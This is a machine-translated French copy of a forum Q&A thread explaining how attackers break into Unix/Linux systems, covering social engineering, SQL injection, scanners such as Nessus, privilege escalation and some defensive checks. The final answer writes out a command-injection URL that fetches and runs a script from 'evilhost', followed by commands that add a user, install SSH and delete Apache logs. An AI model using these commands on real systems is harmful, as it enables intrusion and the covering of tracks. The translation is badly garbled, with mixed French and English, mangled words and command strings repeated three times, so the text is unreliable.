Comment les gens "craquent" les systèmes Unix / Linux?

Non je ne cherche pas à devenir un cracker ou quelque chose comme ça, mais Im essayant de comprendre le process (plus du sharepoint vue de la programmation).

Donc, en supposant que le but principal d'un pirate est d'get un access root pour installer n'importe quel logiciel (ou script) qu'il a écrit, n'est-ce pas? ou peut-être d'installer leur propre module kernal (c'est sournois pour une raison quelconque) Comment exactement une personne va faire cela?

Je sais que les gens utilisent des scripts pour vérifier les exploits … mais je ne vois pas comment, et je ne vois pas exactement ce qu'ils font avec eux une fois qu'ils les trouvent? Est-ce qu'ils vérifient les versions pour les exploits connus …… et puis une fois qu'ils trouvent un …….

Je sais que tout cela semble très nouveau. mais j'essaie juste d'avoir une idée de son fonctionnement car je sais que les systèmes Linux / Unix sont censés être très sécurisés, mais j'essaie de comprendre comment quelqu'un va même se passer d'un access root.

Il y a d'innombrables raisons pour lesquelles on pourrait essayer de compromettre la security d'un système. En gros traits:

  • Pour utiliser les ressources du système (par exemple, envoi de spam, trafic de relais)
  • Pour acquérir des informations sur le système (par exemple, get des données client à partir d'un site de commerce électronique).
  • Pour modifier les informations sur le système (par exemple, endommager un site Web, planter de fausses informations, supprimer des informations)

Seulement parfois, ces choses nécessitent un access root. Par exemple, l'input d'une requête de search malformée sur un site qui ne permet pas d'assainir correctement l'input de l'user peut révéler des informations provenant de la database du site, telles que les noms d'users / passwords, adresses e-mail, etc.

De nombreux criminels de l'informatique ne sont que des «script kiddies»; c'est-à-dire des personnes qui ne include pas la security des systèmes et qui ne codent même pas, mais exécutent des exploits écrits par d'autres personnes. Ils sont généralement assez faciles à défendre parce qu'ils n'ont pas la capacité de s'adapter; ils sont limités à l'exploitation des vulnérabilités connues. (Bien qu'ils puissent tirer parti des botnets – de grands groupes d'ordinateurs compromis – ce qui peut signifier un danger d'attaques DDoS.)

Pour l'attaquant qualifié, le process se déroule comme suit:

  1. Déterminez quel est l'objective et quel est l'objective. La security – la maintenir ou la compromettre – est un calcul risque / récompense. Quelque chose de plus risqué et plus coûteux sera, plus la récompense doit être intense pour rendre une attaque valable.

  2. Considérez toutes les parties mobiles qui ont un effet quel que soit l'objective: par exemple, si vous voulez envoyer du spam, vous pouvez attaquer le server de messagerie, mais il peut être plus logique d'utiliser un service réseau différent. besoin est l'utilisation de la connection réseau de la cible. Si vous voulez des données d'user, vous commencerez à regarder le server de database, l'application Web et le server Web qui ont la possibilité d'y accéder, le système qui le sauvegarde, etc.

    Ne jamais réduire le facteur humain. Sécuriser un système informatique est beaucoup plus facile que de sécuriser le comportement humain. Demander à quelqu'un de révéler des informations qui ne devraient pas l'être ou exécuter du code ne devrait pas être une tâche facile et efficace. Au collège, j'ai gagné un pari avec un ami qui a impliqué de pénétrer son réseau d'entreprise ultra-sécurisé en mettant une tenue révélasortingce et en courant dans un vice-président léchant – l'expertise technique de mon ami l'emporte de loin sur le mien, mais rien n'attrape la puissance d'un 17yo co-ed dans une jupe courte!

    Si vous manquez de seins, envisagez d'offrir un jeu inutile ou quelque chose que les idiots vont download pour le plaisir sans considérer ce qu'il pourrait vraiment être en train de faire.

  3. Examinez chaque partie que vous avez identifiée et considérez ce qu'elle peut faire et comment cela pourrait être modifié pour faire ce que vous voulez. Le service d'assistance réinitialise souvent les passwords pour les users sans identifier correctement l'appelant. vous obtenez le mot de passe de quelqu'un d'autre. Peut-être que la webapp ne vérifie pas ce qui est mis dans la boîte de search pour s'assurer que ce n'est pas du code avant de le coller dans une fonction qu'il exécute. Les compromis de security commencent généralement par quelque chose délibérément exposé qui peut être fait pour se comporter d'une manière qu'il ne devrait pas.

Le facteur le plus important est le type d'access de l'attaquant. S'ils ont un access physique, vous êtes foutu. Si vous êtes uniquement concerné par l'access à distance, cela dépend de ce que vous avez en cours d'exécution; une bonne configuration est tout. Un server Linux standard exécuterait probablement ftp, ssh, http, https et mysql. SSH est sécurisé, mais je ne permettrais pas les connections root, et un bon mot de passe sur chaque count est un must. FTP est frappé ou manque. Si vous avez VSFTP et chrootez vos users, alors c'est très sécurisé. Plusieurs autres versions ont des vulnérabilités connues. HTTP va probablement être votre zone la plus vulnérable. Votre plus grande préoccupation ici est tout ce qui exécute des files sur le système, ou télécharge des files sur le système. L'injection SQL est TRÈS difficile si votre site web est fait en PHP5. Un groupe d'étudiants en security et moi-même avons essayé des injections SQL sur un site PHP5 non-analysé pendant des semaines et nous n'avons pas réussi. Avec MySQL, assurez-vous d'utiliser un user non-root et limitez-le à vous connecter uniquement à partir de votre server Apache.

Il y a quelques plugins Firefox pour tester les vulnérabilités du site: accédez-moi, xss moi et sql injectez-moi

Quelques grandes choses que je ferais toujours aux compétitions pour assurer la security serait de courir:

  • netstat – vérifier les ports et connections ouverts,
  • w – qui est connecté, combien de time,
  • Vérifiez les journaux pour les connections,
  • historique bash pour les commands exécutées,
  • ps – commands en cours d'exécution,
  • /etc/passwd pour les users supplémentaires
  • /etc/sudoers pour l'access sudo.

Généralement, après avoir obtenu l'access, un attaquant veut gagner racine. Il existe actuellement quelques vulnérabilités d'escalade de privilèges qui permettraient à un user normal de gagner racine. Après cela, ils veulent l'ouvrir pour un access ultérieur en ajoutant des users et en ouvrant des portes arrière.

Voici le site de cyberdéfense de mon école. N'hésitez pas à regarder autour de vous et à poser quelques questions: https://thislink.doesntexist.org/

La security d'un système dépend des compétences de l'administrateur (s), il est donc faux de dire que "les systèmes Linux / Unix sont censés être très sécurisés" 🙂

Maintenant, pour le piratage … Il y a une sorte d'outil appelé « scanner de vulnérabilité » comme Nessus qui cherche des choses à exploiter. Il y a des milliers de choses qui peuvent aller mal dans un système complexe, comme un server Apache mal configuré pour permettre le téléchargement de files arbitraires à des endroits arbitraires. Ceux-ci peuvent servir de tremplin pour d'autres exploits, tels que l'access à une database ou un count de messagerie à partir duquel les passwords peuvent être restaurés grâce à la fonction «oublier le mot de passe».

Parfois, un piratage est d'avoir access et de faire quelque chose de mal. Parfois, les gens le font pour le plaisir (ce qui est stupide, d'ailleurs).

ET, voici une histoire d'un hack célèbre qui est arrivé tout récemment. Je pense que ce sera une illustration pour quiconque regarde la security! Pour citer un résumé des exploits:

Une application Web avec des défauts d'injection SQL et des passwords non sécurisés. Mots de passe mal choisis. Mots de passe qui ont été réutilisés. Serveurs qui autorisaient l'authentification par mot de passe. Les systèmes qui n'ont pas été patchés. Et une volonté étonnante de dissortingbuer des informations d'identification par e-mail, même lorsque la personne à qui on les a demandé aurait dû se rendre count que quelque chose se passait.

Il y a tellement de vectors d'attaque qu'ils sont presque infinis. L'un des concepts les plus simples est de rendre un programme accessible au public et de dire qu'il fait autre chose que ce qu'il fait vraiment. Donner aux users des instructions amicales avec un sudo au début, et regarder le monde aller boom. Cela arrive tous les jours avec des programmes à source fermée, car il est impossible pour une seule personne d'inspecter son fonctionnement au préalable, comme on le voit avec par exemple les CD Sony .

Vous pouvez également essayer d'envoyer des strings spéciales à un hôte distant. Pour un exemple de haut niveau, disons que vous avez un server web avec un logiciel qui tourne dessus et que le logiciel exécute une partie de l'URL en tant que command sans s'échapper ou en s'assurant qu'il ne peut pas faire de mal. Envoyer quelque chose comme http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh . Décodé, la string de search devient foo;wget http://evilhost/script.sh ; chmod u+x script.sh; ./script.sh foo;wget http://evilhost/script.sh ; chmod u+x script.sh; ./script.sh foo;wget http://evilhost/script.sh ; chmod u+x script.sh; ./script.sh . Si cela est exécuté, script.sh s'exécuter avec les mêmes droits d'access que l'user du server Web pour faire quoi que ce soit sur la machine. Parfois, les gens laissent courir ceux-ci en tant que racine pour «commodité», dans ce cas, un synonyme de paresse et / ou de naïveté. Même s'il n'est pas exécuté en tant que root, ce script peut alors exécuter des milliers de tests pour d'autres trous dans les logiciels installés et exécuter une autre command s'il en trouve un. Cette dernière command pourrait par exemple être useradd blabla; apt-get install openssh; rm /var/log/apache.log useradd blabla; apt-get install openssh; rm /var/log/apache.log useradd blabla; apt-get install openssh; rm /var/log/apache.log , pour get l'access SSH et supprimer les traces du rodage.

[les commands étaient évidemment simplifiées et ne fonctionneraient probablement pas de toute façon. YMMV]